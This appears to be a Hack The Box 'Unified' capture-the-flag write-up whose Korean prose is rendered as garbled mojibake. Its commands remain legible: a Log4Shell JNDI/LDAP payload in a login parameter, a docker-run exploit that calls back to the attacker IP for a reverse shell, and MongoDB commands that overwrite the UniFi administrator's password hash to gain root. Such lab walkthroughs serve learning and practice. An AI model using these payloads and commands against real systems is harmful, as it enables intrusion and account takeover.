[Hack The Box] Unified ํ์ด
๐ก Hack-The-Box Unified ํ์ด ์ ๋๋ค.
๋ฌธ์
Attacker(Me) IP : 10.10.16.49
Target IP : 10.129.199.68
Enumeration
๋์ ํธ์คํธ์ ip๋ ์์ ๊ฐ์ต๋๋ค. ๋จผ์ ์ค์บ๋์ ํตํด์ ์คํ๋ ์๋น์ค๋ฅผ ํ์ธํฉ๋๋ค.
nmap -n -sV -p- --min-rate 3000 10.129.199.68
Nmap scan report for 10.129.199.68
Host is up (0.22s latency).
Not shown: 65498 closed tcp ports (conn-refused), 31 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
6789/tcp open ibm-db2-admin?
8080/tcp open http-proxy
8443/tcp open ssl/nagios-nsca Nagios NSCA
8843/tcp open ssl/unknown
8880/tcp open cddbp-alt?
nmap ์ค์บ ๊ฒฐ๊ณผ ์ด 6๊ฐ์ ํฌํธ๊ฐ open๋ ๊ฒ์ผ๋ก ๋์ค๋ฉฐ ์ด ์ค 8443 ํฌํธ๋ก ์ ์ํ๋ฉด ๋ค์๊ณผ ๊ฐ์ด ์น์ฌ์ดํธ๊ฐ ๋์ต๋๋ค.
unifi 6.4.54 ๋ฅผ ํค์๋๋ก ๊ตฌ๊ธ๋ง์ ํด๋ณด๋ฉด log4j๊ฐ ๋ณด์ ๋๋ค.
๊ด๋ จ๋ ๋ธ๋ก๊ทธ๋ฅผ ์ฝ์ด๋ณด๋ ํด๋น ๋ฒ์ ์์ log4j ์ทจ์ฝ์ ์ด ์กด์ฌํ๋ ๊ฒ์ผ๋ก ๋ณด์ ๋๋ค.
์ทจ์ฝ์ ์ด ๋ฐ์ํ๋ ๋งค๊ฐ๋ณ์๋ remembee๋ณ์๋ก ํด๋น ๋ณ์์ ์ทจ์ฝ์ ์ด ๋ฐ์ํ๋์ง ํ์ธํ๊ธฐ ์ํด์ payload๋ฅผ ๋ค์๊ณผ ๊ฐ์ด ๋ฃ์ด์ค๋๋ค. ๊ทธ ์ ์ 1389ํฌํธ๋ฅผ ์ด์ด๋์์ผ ldap ์์ฒญ์ด ์ค๋์ง ํ์ธ์ด ๊ฐ๋ฅํฉ๋๋ค.
remember : ${jndi:ldap://(๊ณต๊ฒฉ์IP):1389/a}
1389ํฌํธ๋ก ์์ฒญ์ด ์จ ๊ฒ์ ํตํด์ log4j ์ทจ์ฝ์ ์ด ์กด์ฌํจ์ ํ์ธํ ์ ์์ต๋๋ค.
log4junifi์์ ์ต์คํ๋ก์ ์ฝ๋๋ฅผ ๋ค์ด ๋ฐ์์ ๋ค์๊ณผ ๊ฐ์ด log4j ์ต์คํ๋ก์์ ์ํํ ์ ์์ต๋๋ค.
๋จผ์ 4444๋ฒ ํฌํธ๋ฅผ ์ด์ด๋๊ณ , ๋ค์๊ณผ ๊ฐ์ด ๋ช ๋ น์ด๋ฅผ ์ ๋ ฅํด ์ฃผ๋ฉด 4444๋ฒ ํฌํธ๋ก ๋ฆฌ๋ฒ์ค ์์ด ์์ฑ๋ฉ๋๋ค.
๋ช ๋ น์ด
docker run -it -v $(pwd)/loot:/Log4jUnifi/loot -p 8090:8090 -p 1389:1389 log4junifi -u https://10.129.199.68:8443 -i 10.10.16.49 -p 4444
Privilege Escalation
target machine์ผ๋ก ์ฐ๊ฒฐ ๋์์ผ๋, ์ด์ ๊ถํ ์์น์ ์ํด์ ๋ค์ ์ ๋ณด๋ฅผ ํ๋ํฉ๋๋ค.
ps ๋ช ๋ น์ด๋ฅผ ํตํด ์คํ์ค์ธ ํ๋ก์ธ์ค๋ฅผ ๋ณด๋, mongoDB๊ฐ 27117 ํฌํธ๋ก ์คํ์ค์ธ ๊ฒ์ ๋ณผ ์ ์์ต๋๋ค.
27117ํฌํธ๋ก ์ ์์ ์๋ํ๋ฉด ๋ค์๊ณผ ๊ฐ์ด ์ ๊ทผ์ด ๊ฐ๋ฅํฉ๋๋ค.
ํ์ฌ default๋ก ์ ์ํ db๋ test์ด๋ฉฐ, ๋ค๋ฅธ database ์ ๋ณด๋ฅผ ์ถ๋ ฅํ๋ฉด ๋ค์๊ณผ ๊ฐ์ต๋๋ค.
ace ๋ฐ์ดํฐ๋ฒ ์ด์ค๊ฐ unifi์์ ์ฌ์ฉํ๋ ๊ธฐ๋ณธ database๋ก use ace๋ช ๋ น์ด๋ก ํด๋น db๋ก ์ ์ํ ๋ค์, show collections๋ก ์ปฌ๋ ์ ์ ๋ณด๋ฅผ ์ถ๋ ฅํ๋ฉด ์ฌ๋ฌ๊ฐ์ง ์ปฌ๋ ์ ์ด ๋์ต๋๋ค. ์ด์ค admin์ปฌ๋ ์ ์ ์ ๋ณด๋ฅผ ์ถ๋ ฅํด ๋ด ๋๋ค.
db.admin.find() # ๊ทธ๋ฅ ์ถ๋ ฅ
db.admin.find().forEach(printjson) # json ํํ๋ก ์ถ๋ ฅ
์ฒ์ ๋ฐ์ดํฐ๋ฅผ ๋ณด๋ฉด, administrator๊ณ์ ์ ๋ํ ์ ๋ณด๊ฐ ๋ค์ด์๋ ๊ฒ์ ์ ์ ์์ต๋๋ค. shadow์ ๋ณด๊ฐ $6์ธ๊ฒ์ผ๋ก ๋ณด์ SHA-512๋ก ํด์๋์ด ์๋ ๊ฒ์ ์ ์ ์์ต๋๋ค.
์ ๊ฐ ๋จผ์ ์๋ํด๋ณธ ๋ฐฉ๋ฒ์ ํด๋น ํด์๊ฐ์ ๋ฐ๋ก ์ ์ฅํด์ john the ripper๋ก rockyou.txt ์ฌ์ ํ์ผ์ ํตํด ์์๋ด๋ ๊ฒ์ ์๋ํด ๋ณด์์ง๋ง, ์ฌ์ ํ์ผ์ ์กด์ฌํ๋ ๋น๋ฐ๋ฒํธ๋ ์๋ ๊ฒ ๊ฐ์์ต๋๋ค.(5๋ถ์ ๋ ๋๋ ธ๋๋ฐ ๋ชป์ฐพ์)
๊ทธ ๋ค์ ์๋๋ administrator ๊ณ์ ์ ๋น๋ฐ๋ฒํธ๋ฅผ ๋ฐ๊พธ๋ ๊ฒ์ ๋๋ค.
๋จผ์ ์์ shadow์ ๋ณด์ ๋์ผํ๊ฒ SHA-512๋ก ์ํธํ๋ ๋น๋ฐ๋ฒํธ๋ฅผ ์์ฑํฉ๋๋ค.
$ mkpasswd -m SHA-512
password : (hackthebox์
๋ ฅ)
์ด์ ์ด ํด์๊ฐ์ ์ ๋ฐ์ดํธ ๋ฌธ๋ฒ์ ๋ง๋๋ก ๋ฃ์ด์ค๋๋ค.
db.admin.update({"_id" : ObjectId("61ce278f46e0fb0012d47ee4")},{$set : {"x_shadow" : "$6$fv.mBFbjj71bS3JU$vgwWx8jMgP.n8XnqDJ1hzQsbnoB8y5FdoD9OExH4zxU7ls3oJIlrLZiTEMiuWiDueZD/KBjZQzi00mjBpIqTN."}})
์ ๋๋ก ์ ๋ฐ์ดํธ๊ฐ ๋์๋์ง ํ์ธํด ๋ด ๋๋ค.
์ฑ๊ณต์ ์ผ๋ก ์ ๋ฐ์ดํธ ๋์์ต๋๋ค. ์ด์ administrator๊ณ์ ์ ๋น๋ฐ๋ฒํธ๊ฐ hackthebox๋ก ๋ณ๊ฒฝ๋์์ต๋๋ค.
ํํ์ด์ง์ ๋ค์ ๋ค์ด๊ฐ์ id/pw๋ฅผ ์ ๋ ฅํ์ฌ ๋ก๊ทธ์ธ์ ์๋ํฉ๋๋ค.
๋ก๊ทธ์ธ์ ์ฑ๊ณตํ๋ฉด ๋ค์๊ณผ ๊ฐ์ด ๋์๋ณด๋๊ฐ ๋์ต๋๋ค.
๋ช๊ฐ์ง ๊ธฐ๋ฅ์ ์ด์ด๋ณด๋ฉด ๋ค์๊ณผ ๊ฐ์ด ssh ์ ๋ณด๋ฅผ ์์๋ผ ์ ์์ต๋๋ค.
ssh๋ก root์ ๋น๋ฐ๋ฒํธ๋ฅผ ์์๋์ผ๋ฏ๋ก ์ด๋ฅผ ์ด์ฉํด์ root๋ก ์ ์์ ํฉ๋๋ค.
ํ๋๊ทธ๋ฅผ ์์๋ด๋ฉด์ ํด๋น box๋ฅผ ํด๋ฆฌ์ด ํ ์ ์์ต๋๋ค.
๋๊ธ๋จ๊ธฐ๊ธฐ